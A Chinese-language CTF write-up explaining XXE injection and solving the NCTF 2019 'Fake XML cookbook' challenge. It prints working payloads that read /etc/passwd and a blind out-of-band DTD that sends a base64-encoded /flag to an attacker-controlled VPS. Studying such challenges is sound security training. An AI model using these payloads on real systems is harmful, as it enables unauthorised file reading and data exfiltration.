XXE简介

xxe漏洞原理

未对外部实体进行限制,导致攻击者将代码插入到xml文件中,服务器读取xml恶意文件,形成外部实体注入,产生文件任意读取,命令执行,ssrf等漏洞。

xml

XML 指可扩展标记语言(eXtensible Markup Language)。

XML 被设计用来传输和存储数据,不用于表现和展示数据,HTML 则用来表现数据。

在xml中对实体的引入的方法是:&xxe;

DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。payload存在的位置

DTD的格式:

1
2
<!ENTITY entity-name "entity-value"> 内部实体的声明
<!ENTITY entity-name SYSTEM "URI/URL"> 外部实体的声明

对于外部实体是可以使用php伪协议和file伪协议的,实现文件的任意读取等漏洞

xxe漏洞利用(有无回显)

题目名称[NCTF 2019]Fake XML cookbook

有回显的做法

img

这里我们抓到提交包之后很明显是xxe漏洞,因此我们构造一下payload

img

1
2
3
4
5
<?xml version="1.0"?><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><username>
&xxe;</username><password>123</password></user>

无回显的做法

启动apache服务

1
systemctl start apache2

在/var/www/html 创建一个文件evil.xml

内容为

1
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://你的vps ip/?content=%file;'>"> %payload;

img

bp这边交payload

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip/evil.xml">
%dtd;
%send;
]>
<user><username>
123</username><password>123</password></user>

使用实体dtd访问evil.xml文件,使用payload实体,到”http://你的vps ip/?content=%file;“部分调用file实体读取flag并外带出来。

img

得到的部分base64解码就可以了

img